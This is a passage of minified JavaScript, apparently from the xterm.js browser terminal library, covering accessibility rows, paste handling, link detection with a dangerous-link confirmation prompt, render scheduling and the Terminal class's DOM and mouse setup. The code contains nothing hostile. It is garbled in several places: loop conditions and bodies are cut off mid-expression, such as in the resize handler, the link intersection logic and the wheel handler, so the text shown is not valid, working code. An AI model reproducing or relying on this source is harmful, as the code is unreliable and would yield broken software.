A=this._createAccessibilityTreeNode();this._rowElements.push(A),this._rowContainer.appendChild(A)}this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._terminal.scrollLines(w===0?-1:1),this._rowElements[w===0?1:this._rowElements.length-2].focus(),_.preventDefault(),_.stopImmediatePropagation()}_handleResize(_){this._rowElements[this._rowElements.length-1].removeEventListener("focus",this._bottomBoundaryFocusListener);for(let w=this._rowContainer.children.length;w_;)this._rowContainer.removeChild(this._rowElements.pop());this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions()}_createAccessibilityTreeNode(){const _=document.createElement("div");return _.setAttribute("role","listitem"),_.tabIndex=-1,this._refreshRowDimensions(_),_}_refreshRowsDimensions(){if(this._renderService.dimensions.css.cell.height){this._accessibilityContainer.style.width=`${this._renderService.dimensions.css.canvas.width}px`,this._rowElements.length!==this._terminal.rows&&this._handleResize(this._terminal.rows);for(let _=0;_{function c(d){return d.replace(/\r?\n/g,"\r")}function l(d,p){return p?"\x1B[200~"+d+"\x1B[201~":d}function u(d,p,m,v){d=l(d=c(d),m.decPrivateModes.bracketedPasteMode&&v.rawOptions.ignoreBracketedPasteMode!==!0),m.triggerDataEvent(d,!0),p.value=""}function h(d,p,m){const v=m.getBoundingClientRect(),g=d.clientX-v.left-10,y=d.clientY-v.top-10;p.style.width="20px",p.style.height="20px",p.style.left=`${g}px`,p.style.top=`${y}px`,p.style.zIndex="1000",p.focus()}Object.defineProperty(a,"__esModule",{value:!0}),a.rightClickHandler=a.moveTextAreaUnderMouseCursor=a.paste=a.handlePasteEvent=a.copyHandler=a.bracketTextForPaste=a.prepareTextForTerminal=void 0,a.prepareTextForTerminal=c,a.bracketTextForPaste=l,a.copyHandler=function(d,p){d.clipboardData&&d.clipboardData.setData("text/plain",p.selectionText),d.preventDefault()},a.handlePasteEvent=function(d,p,m,v){d.stopPropagation(),d.clipboardData&&u(d.clipboardData.getData("text/plain"),p,m,v)},a.paste=u,a.moveTextAreaUnderMouseCursor=h,a.rightClickHandler=function(d,p,m,v,g){h(d,p,m),g&&v.rightClickSelect(d),p.value=v.selectionText,p.select()}},7239:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.ColorContrastCache=void 0;const l=c(1505);a.ColorContrastCache=class{constructor(){this._color=new l.TwoKeyMap,this._css=new l.TwoKeyMap}setCss(u,h,d){this._css.set(u,h,d)}getCss(u,h){return this._css.get(u,h)}setColor(u,h,d){this._color.set(u,h,d)}getColor(u,h){return this._color.get(u,h)}clear(){this._color.clear(),this._css.clear()}}},3656:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.addDisposableDomListener=void 0,a.addDisposableDomListener=function(c,l,u,h){c.addEventListener(l,u,h);let d=!1;return{dispose:()=>{d||(d=!0,c.removeEventListener(l,u,h))}}}},6465:function(o,a,c){var l=this&&this.__decorate||function(g,y,b,_){var w,S=arguments.length,C=S<3?y:_===null?_=Object.getOwnPropertyDescriptor(y,b):_;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")C=Reflect.decorate(g,y,b,_);else for(var T=g.length-1;T>=0;T--)(w=g[T])&&(C=(S<3?w(C):S>3?w(y,b,C):w(y,b))||C);return S>3&&C&&Object.defineProperty(y,b,C),C},u=this&&this.__param||function(g,y){return function(b,_){y(b,_,g)}};Object.defineProperty(a,"__esModule",{value:!0}),a.Linkifier2=void 0;const h=c(3656),d=c(8460),p=c(844),m=c(2585);let v=a.Linkifier2=class extends p.Disposable{get currentLink(){return this._currentLink}constructor(g){super(),this._bufferService=g,this._linkProviders=[],this._linkCacheDisposables=[],this._isMouseOut=!0,this._wasResized=!1,this._activeLine=-1,this._onShowLinkUnderline=this.register(new d.EventEmitter),this.onShowLinkUnderline=this._onShowLinkUnderline.event,this._onHideLinkUnderline=this.register(new d.EventEmitter),this.onHideLinkUnderline=this._onHideLinkUnderline.event,this.register((0,p.getDisposeArrayDisposable)(this._linkCacheDisposables)),this.register((0,p.toDisposable)(()=>{this._lastMouseEvent=void 0})),this.register(this._bufferService.onResize(()=>{this._clearCurrentLink(),this._wasResized=!0}))}registerLinkProvider(g){return this._linkProviders.push(g),{dispose:()=>{const y=this._linkProviders.indexOf(g);y!==-1&&this._linkProviders.splice(y,1)}}}attachToDom(g,y,b){this._element=g,this._mouseService=y,this._renderService=b,this.register((0,h.addDisposableDomListener)(this._element,"mouseleave",()=>{this._isMouseOut=!0,this._clearCurrentLink()})),this.register((0,h.addDisposableDomListener)(this._element,"mousemove",this._handleMouseMove.bind(this))),this.register((0,h.addDisposableDomListener)(this._element,"mousedown",this._handleMouseDown.bind(this))),this.register((0,h.addDisposableDomListener)(this._element,"mouseup",this._handleMouseUp.bind(this)))}_handleMouseMove(g){if(this._lastMouseEvent=g,!this._element||!this._mouseService)return;const y=this._positionFromMouseEvent(g,this._element,this._mouseService);if(!y)return;this._isMouseOut=!1;const b=g.composedPath();for(let _=0;_{S==null||S.forEach(C=>{C.link.dispose&&C.link.dispose()})}),this._activeProviderReplies=new Map,this._activeLine=g.y);let w=!1;for(const[S,C]of this._linkProviders.entries())y?!((_=this._activeProviderReplies)===null||_===void 0)&&_.get(S)&&(w=this._checkLinkProviderResult(S,g,w)):C.provideLinks(g.y,T=>{var k,A;if(this._isMouseOut)return;const M=T==null?void 0:T.map(R=>({link:R}));(k=this._activeProviderReplies)===null||k===void 0||k.set(S,M),w=this._checkLinkProviderResult(S,g,w),((A=this._activeProviderReplies)===null||A===void 0?void 0:A.size)===this._linkProviders.length&&this._removeIntersectingLinks(g.y,this._activeProviderReplies)})}_removeIntersectingLinks(g,y){const b=new Set;for(let _=0;_g?this._bufferService.cols:C.link.range.end.x;for(let A=T;A<=k;A++){if(b.has(A)){w.splice(S--,1);break}b.add(A)}}}}_checkLinkProviderResult(g,y,b){var _;if(!this._activeProviderReplies)return b;const w=this._activeProviderReplies.get(g);let S=!1;for(let C=0;Cthis._linkAtPosition(T.link,y));C&&(b=!0,this._handleNewLink(C))}if(this._activeProviderReplies.size===this._linkProviders.length&&!b)for(let C=0;Cthis._linkAtPosition(k.link,y));if(T){b=!0,this._handleNewLink(T);break}}return b}_handleMouseDown(){this._mouseDownLink=this._currentLink}_handleMouseUp(g){if(!this._element||!this._mouseService||!this._currentLink)return;const y=this._positionFromMouseEvent(g,this._element,this._mouseService);y&&this._mouseDownLink===this._currentLink&&this._linkAtPosition(this._currentLink.link,y)&&this._currentLink.link.activate(g,this._currentLink.link.text)}_clearCurrentLink(g,y){this._element&&this._currentLink&&this._lastMouseEvent&&(!g||!y||this._currentLink.link.range.start.y>=g&&this._currentLink.link.range.end.y<=y)&&(this._linkLeave(this._element,this._currentLink.link,this._lastMouseEvent),this._currentLink=void 0,(0,p.disposeArray)(this._linkCacheDisposables))}_handleNewLink(g){if(!this._element||!this._lastMouseEvent||!this._mouseService)return;const y=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);y&&this._linkAtPosition(g.link,y)&&(this._currentLink=g,this._currentLink.state={decorations:{underline:g.link.decorations===void 0||g.link.decorations.underline,pointerCursor:g.link.decorations===void 0||g.link.decorations.pointerCursor},isHovered:!0},this._linkHover(this._element,g.link,this._lastMouseEvent),g.link.decorations={},Object.defineProperties(g.link.decorations,{pointerCursor:{get:()=>{var b,_;return(_=(b=this._currentLink)===null||b===void 0?void 0:b.state)===null||_===void 0?void 0:_.decorations.pointerCursor},set:b=>{var _,w;!((_=this._currentLink)===null||_===void 0)&&_.state&&this._currentLink.state.decorations.pointerCursor!==b&&(this._currentLink.state.decorations.pointerCursor=b,this._currentLink.state.isHovered&&((w=this._element)===null||w===void 0||w.classList.toggle("xterm-cursor-pointer",b)))}},underline:{get:()=>{var b,_;return(_=(b=this._currentLink)===null||b===void 0?void 0:b.state)===null||_===void 0?void 0:_.decorations.underline},set:b=>{var _,w,S;!((_=this._currentLink)===null||_===void 0)&&_.state&&((S=(w=this._currentLink)===null||w===void 0?void 0:w.state)===null||S===void 0?void 0:S.decorations.underline)!==b&&(this._currentLink.state.decorations.underline=b,this._currentLink.state.isHovered&&this._fireUnderlineEvent(g.link,b))}}}),this._renderService&&this._linkCacheDisposables.push(this._renderService.onRenderedViewportChange(b=>{if(!this._currentLink)return;const _=b.start===0?0:b.start+1+this._bufferService.buffer.ydisp,w=this._bufferService.buffer.ydisp+1+b.end;if(this._currentLink.link.range.start.y>=_&&this._currentLink.link.range.end.y<=w&&(this._clearCurrentLink(_,w),this._lastMouseEvent&&this._element)){const S=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);S&&this._askForLink(S,!1)}})))}_linkHover(g,y,b){var _;!((_=this._currentLink)===null||_===void 0)&&_.state&&(this._currentLink.state.isHovered=!0,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(y,!0),this._currentLink.state.decorations.pointerCursor&&g.classList.add("xterm-cursor-pointer")),y.hover&&y.hover(b,y.text)}_fireUnderlineEvent(g,y){const b=g.range,_=this._bufferService.buffer.ydisp,w=this._createLinkUnderlineEvent(b.start.x-1,b.start.y-_-1,b.end.x,b.end.y-_-1,void 0);(y?this._onShowLinkUnderline:this._onHideLinkUnderline).fire(w)}_linkLeave(g,y,b){var _;!((_=this._currentLink)===null||_===void 0)&&_.state&&(this._currentLink.state.isHovered=!1,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(y,!1),this._currentLink.state.decorations.pointerCursor&&g.classList.remove("xterm-cursor-pointer")),y.leave&&y.leave(b,y.text)}_linkAtPosition(g,y){const b=g.range.start.y*this._bufferService.cols+g.range.start.x,_=g.range.end.y*this._bufferService.cols+g.range.end.x,w=y.y*this._bufferService.cols+y.x;return b<=w&&w<=_}_positionFromMouseEvent(g,y,b){const _=b.getCoords(g,y,this._bufferService.cols,this._bufferService.rows);if(_)return{x:_[0],y:_[1]+this._bufferService.buffer.ydisp}}_createLinkUnderlineEvent(g,y,b,_,w){return{x1:g,y1:y,x2:b,y2:_,cols:this._bufferService.cols,fg:w}}};a.Linkifier2=v=l([u(0,m.IBufferService)],v)},9042:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.tooMuchOutput=a.promptLabel=void 0,a.promptLabel="Terminal input",a.tooMuchOutput="Too much output to announce, navigate to rows manually to read"},3730:function(o,a,c){var l=this&&this.__decorate||function(v,g,y,b){var _,w=arguments.length,S=w<3?g:b===null?b=Object.getOwnPropertyDescriptor(g,y):b;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")S=Reflect.decorate(v,g,y,b);else for(var C=v.length-1;C>=0;C--)(_=v[C])&&(S=(w<3?_(S):w>3?_(g,y,S):_(g,y))||S);return w>3&&S&&Object.defineProperty(g,y,S),S},u=this&&this.__param||function(v,g){return function(y,b){g(y,b,v)}};Object.defineProperty(a,"__esModule",{value:!0}),a.OscLinkProvider=void 0;const h=c(511),d=c(2585);let p=a.OscLinkProvider=class{constructor(v,g,y){this._bufferService=v,this._optionsService=g,this._oscLinkService=y}provideLinks(v,g){var y;const b=this._bufferService.buffer.lines.get(v-1);if(!b)return void g(void 0);const _=[],w=this._optionsService.rawOptions.linkHandler,S=new h.CellData,C=b.getTrimmedLength();let T=-1,k=-1,A=!1;for(let M=0;Mw?w.activate(z,Q,P):m(0,Q),hover:(z,Q)=>{var W;return(W=w==null?void 0:w.hover)===null||W===void 0?void 0:W.call(w,z,Q,P)},leave:(z,Q)=>{var W;return(W=w==null?void 0:w.leave)===null||W===void 0?void 0:W.call(w,z,Q,P)}})}A=!1,S.hasExtendedAttrs()&&S.extended.urlId?(k=M,T=S.extended.urlId):(k=-1,T=-1)}}g(_)}};function m(v,g){if(confirm(`Do you want to navigate to ${g}? + +WARNING: This link could potentially be dangerous`)){const y=window.open();if(y){try{y.opener=null}catch{}y.location.href=g}else console.warn("Opening link blocked as opener could not be cleared")}}a.OscLinkProvider=p=l([u(0,d.IBufferService),u(1,d.IOptionsService),u(2,d.IOscLinkService)],p)},6193:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.RenderDebouncer=void 0,a.RenderDebouncer=class{constructor(c,l){this._parentWindow=c,this._renderCallback=l,this._refreshCallbacks=[]}dispose(){this._animationFrame&&(this._parentWindow.cancelAnimationFrame(this._animationFrame),this._animationFrame=void 0)}addRefreshCallback(c){return this._refreshCallbacks.push(c),this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame(()=>this._innerRefresh())),this._animationFrame}refresh(c,l,u){this._rowCount=u,c=c!==void 0?c:0,l=l!==void 0?l:this._rowCount-1,this._rowStart=this._rowStart!==void 0?Math.min(this._rowStart,c):c,this._rowEnd=this._rowEnd!==void 0?Math.max(this._rowEnd,l):l,this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame(()=>this._innerRefresh()))}_innerRefresh(){if(this._animationFrame=void 0,this._rowStart===void 0||this._rowEnd===void 0||this._rowCount===void 0)return void this._runRefreshCallbacks();const c=Math.max(this._rowStart,0),l=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(c,l),this._runRefreshCallbacks()}_runRefreshCallbacks(){for(const c of this._refreshCallbacks)c(0);this._refreshCallbacks=[]}}},5596:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.ScreenDprMonitor=void 0;const l=c(844);class u extends l.Disposable{constructor(d){super(),this._parentWindow=d,this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this.register((0,l.toDisposable)(()=>{this.clearListener()}))}setListener(d){this._listener&&this.clearListener(),this._listener=d,this._outerListener=()=>{this._listener&&(this._listener(this._parentWindow.devicePixelRatio,this._currentDevicePixelRatio),this._updateDpr())},this._updateDpr()}_updateDpr(){var d;this._outerListener&&((d=this._resolutionMediaMatchList)===null||d===void 0||d.removeListener(this._outerListener),this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this._resolutionMediaMatchList=this._parentWindow.matchMedia(`screen and (resolution: ${this._parentWindow.devicePixelRatio}dppx)`),this._resolutionMediaMatchList.addListener(this._outerListener))}clearListener(){this._resolutionMediaMatchList&&this._listener&&this._outerListener&&(this._resolutionMediaMatchList.removeListener(this._outerListener),this._resolutionMediaMatchList=void 0,this._listener=void 0,this._outerListener=void 0)}}a.ScreenDprMonitor=u},3236:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.Terminal=void 0;const l=c(3614),u=c(3656),h=c(6465),d=c(9042),p=c(3730),m=c(1680),v=c(3107),g=c(5744),y=c(2950),b=c(1296),_=c(428),w=c(4269),S=c(5114),C=c(8934),T=c(3230),k=c(9312),A=c(4725),M=c(6731),R=c(8055),P=c(8969),L=c(8460),z=c(844),Q=c(6114),W=c(8437),V=c(2584),N=c(7399),O=c(5941),H=c(9074),G=c(2585),ee=c(5435),ie=c(4567),ve=typeof window<"u"?window.document:null;class le extends P.CoreTerminal{get onFocus(){return this._onFocus.event}get onBlur(){return this._onBlur.event}get onA11yChar(){return this._onA11yCharEmitter.event}get onA11yTab(){return this._onA11yTabEmitter.event}get onWillOpen(){return this._onWillOpen.event}constructor(I={}){super(I),this.browser=Q,this._keyDownHandled=!1,this._keyDownSeen=!1,this._keyPressHandled=!1,this._unprocessedDeadKey=!1,this._accessibilityManager=this.register(new z.MutableDisposable),this._onCursorMove=this.register(new L.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onKey=this.register(new L.EventEmitter),this.onKey=this._onKey.event,this._onRender=this.register(new L.EventEmitter),this.onRender=this._onRender.event,this._onSelectionChange=this.register(new L.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onTitleChange=this.register(new L.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onBell=this.register(new L.EventEmitter),this.onBell=this._onBell.event,this._onFocus=this.register(new L.EventEmitter),this._onBlur=this.register(new L.EventEmitter),this._onA11yCharEmitter=this.register(new L.EventEmitter),this._onA11yTabEmitter=this.register(new L.EventEmitter),this._onWillOpen=this.register(new L.EventEmitter),this._setup(),this.linkifier2=this.register(this._instantiationService.createInstance(h.Linkifier2)),this.linkifier2.registerLinkProvider(this._instantiationService.createInstance(p.OscLinkProvider)),this._decorationService=this._instantiationService.createInstance(H.DecorationService),this._instantiationService.setService(G.IDecorationService,this._decorationService),this.register(this._inputHandler.onRequestBell(()=>this._onBell.fire())),this.register(this._inputHandler.onRequestRefreshRows((K,X)=>this.refresh(K,X))),this.register(this._inputHandler.onRequestSendFocus(()=>this._reportFocus())),this.register(this._inputHandler.onRequestReset(()=>this.reset())),this.register(this._inputHandler.onRequestWindowsOptionsReport(K=>this._reportWindowsOptions(K))),this.register(this._inputHandler.onColor(K=>this._handleColorEvent(K))),this.register((0,L.forwardEvent)(this._inputHandler.onCursorMove,this._onCursorMove)),this.register((0,L.forwardEvent)(this._inputHandler.onTitleChange,this._onTitleChange)),this.register((0,L.forwardEvent)(this._inputHandler.onA11yChar,this._onA11yCharEmitter)),this.register((0,L.forwardEvent)(this._inputHandler.onA11yTab,this._onA11yTabEmitter)),this.register(this._bufferService.onResize(K=>this._afterResize(K.cols,K.rows))),this.register((0,z.toDisposable)(()=>{var K,X;this._customKeyEventHandler=void 0,(X=(K=this.element)===null||K===void 0?void 0:K.parentNode)===null||X===void 0||X.removeChild(this.element)}))}_handleColorEvent(I){if(this._themeService)for(const K of I){let X,J="";switch(K.index){case 256:X="foreground",J="10";break;case 257:X="background",J="11";break;case 258:X="cursor",J="12";break;default:X="ansi",J="4;"+K.index}switch(K.type){case 0:const he=R.color.toColorRGB(X==="ansi"?this._themeService.colors.ansi[K.index]:this._themeService.colors[X]);this.coreService.triggerDataEvent(`${V.C0.ESC}]${J};${(0,O.toRgbString)(he)}${V.C1_ESCAPED.ST}`);break;case 1:if(X==="ansi")this._themeService.modifyColors(be=>be.ansi[K.index]=R.rgba.toColor(...K.color));else{const be=X;this._themeService.modifyColors(Re=>Re[be]=R.rgba.toColor(...K.color))}break;case 2:this._themeService.restoreColor(K.index)}}}_setup(){super._setup(),this._customKeyEventHandler=void 0}get buffer(){return this.buffers.active}focus(){this.textarea&&this.textarea.focus({preventScroll:!0})}_handleScreenReaderModeOptionChange(I){I?!this._accessibilityManager.value&&this._renderService&&(this._accessibilityManager.value=this._instantiationService.createInstance(ie.AccessibilityManager,this)):this._accessibilityManager.clear()}_handleTextAreaFocus(I){this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(V.C0.ESC+"[I"),this.updateCursorStyle(I),this.element.classList.add("focus"),this._showCursor(),this._onFocus.fire()}blur(){var I;return(I=this.textarea)===null||I===void 0?void 0:I.blur()}_handleTextAreaBlur(){this.textarea.value="",this.refresh(this.buffer.y,this.buffer.y),this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(V.C0.ESC+"[O"),this.element.classList.remove("focus"),this._onBlur.fire()}_syncTextArea(){if(!this.textarea||!this.buffer.isCursorInViewport||this._compositionHelper.isComposing||!this._renderService)return;const I=this.buffer.ybase+this.buffer.y,K=this.buffer.lines.get(I);if(!K)return;const X=Math.min(this.buffer.x,this.cols-1),J=this._renderService.dimensions.css.cell.height,he=K.getWidth(X),be=this._renderService.dimensions.css.cell.width*he,Re=this.buffer.y*this._renderService.dimensions.css.cell.height,rt=X*this._renderService.dimensions.css.cell.width;this.textarea.style.left=rt+"px",this.textarea.style.top=Re+"px",this.textarea.style.width=be+"px",this.textarea.style.height=J+"px",this.textarea.style.lineHeight=J+"px",this.textarea.style.zIndex="-5"}_initGlobal(){this._bindKeys(),this.register((0,u.addDisposableDomListener)(this.element,"copy",K=>{this.hasSelection()&&(0,l.copyHandler)(K,this._selectionService)}));const I=K=>(0,l.handlePasteEvent)(K,this.textarea,this.coreService,this.optionsService);this.register((0,u.addDisposableDomListener)(this.textarea,"paste",I)),this.register((0,u.addDisposableDomListener)(this.element,"paste",I)),Q.isFirefox?this.register((0,u.addDisposableDomListener)(this.element,"mousedown",K=>{K.button===2&&(0,l.rightClickHandler)(K,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)})):this.register((0,u.addDisposableDomListener)(this.element,"contextmenu",K=>{(0,l.rightClickHandler)(K,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)})),Q.isLinux&&this.register((0,u.addDisposableDomListener)(this.element,"auxclick",K=>{K.button===1&&(0,l.moveTextAreaUnderMouseCursor)(K,this.textarea,this.screenElement)}))}_bindKeys(){this.register((0,u.addDisposableDomListener)(this.textarea,"keyup",I=>this._keyUp(I),!0)),this.register((0,u.addDisposableDomListener)(this.textarea,"keydown",I=>this._keyDown(I),!0)),this.register((0,u.addDisposableDomListener)(this.textarea,"keypress",I=>this._keyPress(I),!0)),this.register((0,u.addDisposableDomListener)(this.textarea,"compositionstart",()=>this._compositionHelper.compositionstart())),this.register((0,u.addDisposableDomListener)(this.textarea,"compositionupdate",I=>this._compositionHelper.compositionupdate(I))),this.register((0,u.addDisposableDomListener)(this.textarea,"compositionend",()=>this._compositionHelper.compositionend())),this.register((0,u.addDisposableDomListener)(this.textarea,"input",I=>this._inputEvent(I),!0)),this.register(this.onRender(()=>this._compositionHelper.updateCompositionElements()))}open(I){var K;if(!I)throw new Error("Terminal requires a parent element.");I.isConnected||this._logService.debug("Terminal.open was called on an element that was not attached to the DOM"),this._document=I.ownerDocument,this.element=this._document.createElement("div"),this.element.dir="ltr",this.element.classList.add("terminal"),this.element.classList.add("xterm"),I.appendChild(this.element);const X=ve.createDocumentFragment();this._viewportElement=ve.createElement("div"),this._viewportElement.classList.add("xterm-viewport"),X.appendChild(this._viewportElement),this._viewportScrollArea=ve.createElement("div"),this._viewportScrollArea.classList.add("xterm-scroll-area"),this._viewportElement.appendChild(this._viewportScrollArea),this.screenElement=ve.createElement("div"),this.screenElement.classList.add("xterm-screen"),this._helperContainer=ve.createElement("div"),this._helperContainer.classList.add("xterm-helpers"),this.screenElement.appendChild(this._helperContainer),X.appendChild(this.screenElement),this.textarea=ve.createElement("textarea"),this.textarea.classList.add("xterm-helper-textarea"),this.textarea.setAttribute("aria-label",d.promptLabel),Q.isChromeOS||this.textarea.setAttribute("aria-multiline","false"),this.textarea.setAttribute("autocorrect","off"),this.textarea.setAttribute("autocapitalize","off"),this.textarea.setAttribute("spellcheck","false"),this.textarea.tabIndex=0,this._coreBrowserService=this._instantiationService.createInstance(S.CoreBrowserService,this.textarea,(K=this._document.defaultView)!==null&&K!==void 0?K:window),this._instantiationService.setService(A.ICoreBrowserService,this._coreBrowserService),this.register((0,u.addDisposableDomListener)(this.textarea,"focus",J=>this._handleTextAreaFocus(J))),this.register((0,u.addDisposableDomListener)(this.textarea,"blur",()=>this._handleTextAreaBlur())),this._helperContainer.appendChild(this.textarea),this._charSizeService=this._instantiationService.createInstance(_.CharSizeService,this._document,this._helperContainer),this._instantiationService.setService(A.ICharSizeService,this._charSizeService),this._themeService=this._instantiationService.createInstance(M.ThemeService),this._instantiationService.setService(A.IThemeService,this._themeService),this._characterJoinerService=this._instantiationService.createInstance(w.CharacterJoinerService),this._instantiationService.setService(A.ICharacterJoinerService,this._characterJoinerService),this._renderService=this.register(this._instantiationService.createInstance(T.RenderService,this.rows,this.screenElement)),this._instantiationService.setService(A.IRenderService,this._renderService),this.register(this._renderService.onRenderedViewportChange(J=>this._onRender.fire(J))),this.onResize(J=>this._renderService.resize(J.cols,J.rows)),this._compositionView=ve.createElement("div"),this._compositionView.classList.add("composition-view"),this._compositionHelper=this._instantiationService.createInstance(y.CompositionHelper,this.textarea,this._compositionView),this._helperContainer.appendChild(this._compositionView),this.element.appendChild(X);try{this._onWillOpen.fire(this.element)}catch{}this._renderService.hasRenderer()||this._renderService.setRenderer(this._createRenderer()),this._mouseService=this._instantiationService.createInstance(C.MouseService),this._instantiationService.setService(A.IMouseService,this._mouseService),this.viewport=this._instantiationService.createInstance(m.Viewport,this._viewportElement,this._viewportScrollArea),this.viewport.onRequestScrollLines(J=>this.scrollLines(J.amount,J.suppressScrollEvent,1)),this.register(this._inputHandler.onRequestSyncScrollBar(()=>this.viewport.syncScrollArea())),this.register(this.viewport),this.register(this.onCursorMove(()=>{this._renderService.handleCursorMove(),this._syncTextArea()})),this.register(this.onResize(()=>this._renderService.handleResize(this.cols,this.rows))),this.register(this.onBlur(()=>this._renderService.handleBlur())),this.register(this.onFocus(()=>this._renderService.handleFocus())),this.register(this._renderService.onDimensionsChange(()=>this.viewport.syncScrollArea())),this._selectionService=this.register(this._instantiationService.createInstance(k.SelectionService,this.element,this.screenElement,this.linkifier2)),this._instantiationService.setService(A.ISelectionService,this._selectionService),this.register(this._selectionService.onRequestScrollLines(J=>this.scrollLines(J.amount,J.suppressScrollEvent))),this.register(this._selectionService.onSelectionChange(()=>this._onSelectionChange.fire())),this.register(this._selectionService.onRequestRedraw(J=>this._renderService.handleSelectionChanged(J.start,J.end,J.columnSelectMode))),this.register(this._selectionService.onLinuxMouseSelection(J=>{this.textarea.value=J,this.textarea.focus(),this.textarea.select()})),this.register(this._onScroll.event(J=>{this.viewport.syncScrollArea(),this._selectionService.refresh()})),this.register((0,u.addDisposableDomListener)(this._viewportElement,"scroll",()=>this._selectionService.refresh())),this.linkifier2.attachToDom(this.screenElement,this._mouseService,this._renderService),this.register(this._instantiationService.createInstance(v.BufferDecorationRenderer,this.screenElement)),this.register((0,u.addDisposableDomListener)(this.element,"mousedown",J=>this._selectionService.handleMouseDown(J))),this.coreMouseService.areMouseEventsActive?(this._selectionService.disable(),this.element.classList.add("enable-mouse-events")):this._selectionService.enable(),this.options.screenReaderMode&&(this._accessibilityManager.value=this._instantiationService.createInstance(ie.AccessibilityManager,this)),this.register(this.optionsService.onSpecificOptionChange("screenReaderMode",J=>this._handleScreenReaderModeOptionChange(J))),this.options.overviewRulerWidth&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(g.OverviewRulerRenderer,this._viewportElement,this.screenElement))),this.optionsService.onSpecificOptionChange("overviewRulerWidth",J=>{!this._overviewRulerRenderer&&J&&this._viewportElement&&this.screenElement&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(g.OverviewRulerRenderer,this._viewportElement,this.screenElement)))}),this._charSizeService.measure(),this.refresh(0,this.rows-1),this._initGlobal(),this.bindMouse()}_createRenderer(){return this._instantiationService.createInstance(b.DomRenderer,this.element,this.screenElement,this._viewportElement,this.linkifier2)}bindMouse(){const I=this,K=this.element;function X(be){const Re=I._mouseService.getMouseReportCoords(be,I.screenElement);if(!Re)return!1;let rt,st;switch(be.overrideType||be.type){case"mousemove":st=32,be.buttons===void 0?(rt=3,be.button!==void 0&&(rt=be.button<3?be.button:3)):rt=1&be.buttons?0:4&be.buttons?1:2&be.buttons?2:3;break;case"mouseup":st=0,rt=be.button<3?be.button:3;break;case"mousedown":st=1,rt=be.button<3?be.button:3;break;case"wheel":if(I.viewport.getLinesScrolled(be)===0)return!1;st=be.deltaY<0?0:1,rt=4;break;default:return!1}return!(st===void 0||rt===void 0||rt>4)&&I.coreMouseService.triggerMouseEvent({col:Re.col,row:Re.row,x:Re.x,y:Re.y,button:rt,action:st,ctrl:be.ctrlKey,alt:be.altKey,shift:be.shiftKey})}const J={mouseup:null,wheel:null,mousedrag:null,mousemove:null},he={mouseup:be=>(X(be),be.buttons||(this._document.removeEventListener("mouseup",J.mouseup),J.mousedrag&&this._document.removeEventListener("mousemove",J.mousedrag)),this.cancel(be)),wheel:be=>(X(be),this.cancel(be,!0)),mousedrag:be=>{be.buttons&&X(be)},mousemove:be=>{be.buttons||X(be)}};this.register(this.coreMouseService.onProtocolChange(be=>{be?(this.optionsService.rawOptions.logLevel==="debug"&&this._logService.debug("Binding to mouse events:",this.coreMouseService.explainEvents(be)),this.element.classList.add("enable-mouse-events"),this._selectionService.disable()):(this._logService.debug("Unbinding from mouse events."),this.element.classList.remove("enable-mouse-events"),this._selectionService.enable()),8&be?J.mousemove||(K.addEventListener("mousemove",he.mousemove),J.mousemove=he.mousemove):(K.removeEventListener("mousemove",J.mousemove),J.mousemove=null),16&be?J.wheel||(K.addEventListener("wheel",he.wheel,{passive:!1}),J.wheel=he.wheel):(K.removeEventListener("wheel",J.wheel),J.wheel=null),2&be?J.mouseup||(K.addEventListener("mouseup",he.mouseup),J.mouseup=he.mouseup):(this._document.removeEventListener("mouseup",J.mouseup),K.removeEventListener("mouseup",J.mouseup),J.mouseup=null),4&be?J.mousedrag||(J.mousedrag=he.mousedrag):(this._document.removeEventListener("mousemove",J.mousedrag),J.mousedrag=null)})),this.coreMouseService.activeProtocol=this.coreMouseService.activeProtocol,this.register((0,u.addDisposableDomListener)(K,"mousedown",be=>{if(be.preventDefault(),this.focus(),this.coreMouseService.areMouseEventsActive&&!this._selectionService.shouldForceSelection(be))return X(be),J.mouseup&&this._document.addEventListener("mouseup",J.mouseup),J.mousedrag&&this._document.addEventListener("mousemove",J.mousedrag),this.cancel(be)})),this.register((0,u.addDisposableDomListener)(K,"wheel",be=>{if(!J.wheel){if(!this.buffer.hasScrollback){const Re=this.viewport.getLinesScrolled(be);if(Re===0)return;const rt=V.C0.ESC+(this.coreService.decPrivateModes.applicationCursorKeys?"O":"[")+(be.deltaY<0?"A":"B");let st="";for(let et=0;et{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchStart(be),this.cancel(be)},{passive:!0})),this.register((0,u.addDisposableDomListener)(K,"touchmove",be=>{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchMove(be)?void 0:this.cancel(be)},{passive:!1}))}refresh(I,K){var X;(X=this._renderService)===null||X===void 0||X.refreshRows(I,K)}updateCursorStyle(I){var 